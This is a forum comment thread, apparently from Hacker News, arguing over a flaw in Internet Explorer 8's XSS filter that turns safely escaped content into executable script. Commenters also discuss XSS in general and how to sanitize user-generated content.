"We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users," he wrote. "In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, by default;, for users of Internet Explorer 8."
This XSS filter has to be one of the most braindead far-reaching decisions since the invention of magic_quotes in PHP.
It just smacks of marketing-driven technical incompetence. How could anyone at Microsoft think this could do anything but make the situation worse? As if XSS were somehow distinguishable from legit scripts. As if most sites have great XSS protection and just need a little help with the edge cases. I just came up with a brilliant idea to prevent buffer overrun exploits as well: a C compiler that doesn't allow indexes past 1000. Developers shouldn't be using those high indexes anyway, and they're just an accident waiting to happen.
Thanks for expanding the XSS vulnerability footprint Microsoft, browser parsing wasn't opaque enough yet. Now we can enjoy another decade of IE-induced headaches.
"This XSS filter has to be one of the most braindead far-reaching decisions since the invention of magic_quotes in PHP."
So, I'm guessing you're also against the XSS filter Firefox is adding, and NoScript, and any other attempt to automatically mitigate XSS attacks? All those are also "marketing-driven technical incompetence" right?
This bug in IE8's XSS filter is a bad one, and its much worse that they've known about it and not fixed it. That doesn't mean its categorically a bad idea.
Noscript is a good idea because it just disables executable code which is a simple and absolutely effective solution to the problem of script security, as long as you can live without modern web functionality.
As far as XSS filters I could get behind the idea if it exclusively reduced code entry points. But anything that further obfuscates the code leading to vulnerability of the reported is infuriating, especially when it comes from one of the top 3 browser makers, where it will inevitably haunt us for years.
I feel you, but I think its the cost of doing business / innovation. If you don't do anything, you don't make any mistakes.
But anything that further obfuscates the code leading to vulnerability of the reported is infuriating, especially when it comes from one of the top 3 browser makers, where it will inevitably haunt us for years.
I don't think this one will haunt us for years. IE8 users have already shown a proclivity for updating. Its the IE6/7 & Firefox 2 users that cause us trouble.
For instance, by filtering and transforming metacharacters in such a way that it accidentally picks up neutral metacharacters turns them into hostile metacharacters.
Some sites, especially complicated ones, have intricate rules for what, where, and how metacharacters are quoted, substituted for entities, or rejected. It probably isn't a great idea to interfere with them.
This is my understanding of the problem, but I'm not a security guy so please correct me where I'm wrong.
The rub is that IE8 modifies the source of a page to prevent XSS attacks. Essentially it escapes a bunch of strings, like <script> tags.
Sanitization like this is common to sites which allow UGC, with the onus being on the programmer to perform the sanitization. Unfortunately, a lot of popular UGC sites either attempt no sanitization, or screw it up (e.g., Twitter, MySpace). Thus, IE8 attempts basic sanitization of all pages automatically, unless a header is sent telling it not to. In theory, this should provide basic protection for the user when the site's developers drop the ball.
Long story short, there is an error in their sanitization routine. Thus, an attacker can pass a seemingly harmless string (which would not be filtered by the application's own security), which is then escaped by IE8, producing malicious output.
This type of bug is somewhat common, but since many dev's are rolling their own sanitization routines (bad idea [1]), the exposure is usually limited to one site. But because IE8's filter runs on all sites, any site which contains the malicious string is affected. Given the huge number of sites that allow some kind of UGC, this is a huge problem.
Reddit's recent worm is somewhat analogous, in that its a case of a well-intentioned sanitization method being exploited. Their post mortem illuminates what a complex problem this is:
[1] Note: In a similar vein, Mr. Ptacek and Mr. Lawson have decried rolling your own cryptography solution, and instead advocate using a battle tested solution like Keyczar. This is great advice, and should also be applied to sanitization methods.
XSS is not about the server trusting the client, it's the other way around. XSS exploits the trust that a user has of a website. It is the site's responsibility to prevent XSS by preventing any user from injecting executable code into the HTML, because if they can do that on a public page then they can write code that sends the private credentials of all users who visit that page anywhere they want.
Preventing XSS is tricky because of the inability to sandbox user-generated content. Everything in a page has the same security level. This means if you allow user generated content you need to be aware of all the ways that all the browsers can trigger code execution. There are numerous tags, attributes, CSS selectors, and url protocols that can trigger executable javascript code, and on top of that there are layers of internal translation in the browser and parsed content such as HTML entities, escaped unicode and other internal browser transformations.
So what Microsoft has done, is to attempt to magically determine–without any context–what code patterns look like they were probably submitted by a malicious party, and then perform some opaque transformation to "prevent" the vulnerability. In the process they will undoubtedly break legitimate code, and make the job of preventing XSS more difficult because there is yet another transformation that one browser does differently from the rest.
To answer your question, what IE8 has apparently been found to do is translate some non-executable code form into something that is executable, thus rendering something that previously would have been a safe sanitization method across all known browsers into something that is exploitable in the latest version of IE. Sure it's unintentional, but the whole approach is braindead.
If Microsoft wants to further the state of web security they need to pursue a real security model such as real sandboxing of HTML documents, since all it takes is one obfuscated hack in IE8 magic security model to render it useless and more difficult to secure since some percentage of people will never upgrade.
This XSS filter has to be one of the most braindead far-reaching decisions since the invention of magic_quotes in PHP.
It just smacks of marketing-driven technical incompetence. How could anyone at Microsoft think this could do anything but make the situation worse? As if XSS were somehow distinguishable from legit scripts. As if most sites have great XSS protection and just need a little help with the edge cases. I just came up with a brilliant idea to prevent buffer overrun exploits as well: a C compiler that doesn't allow indexes past 1000. Developers shouldn't be using those high indexes anyway, and they're just an accident waiting to happen.
Thanks for expanding the XSS vulnerability footprint Microsoft, browser parsing wasn't opaque enough yet. Now we can enjoy another decade of IE-induced headaches.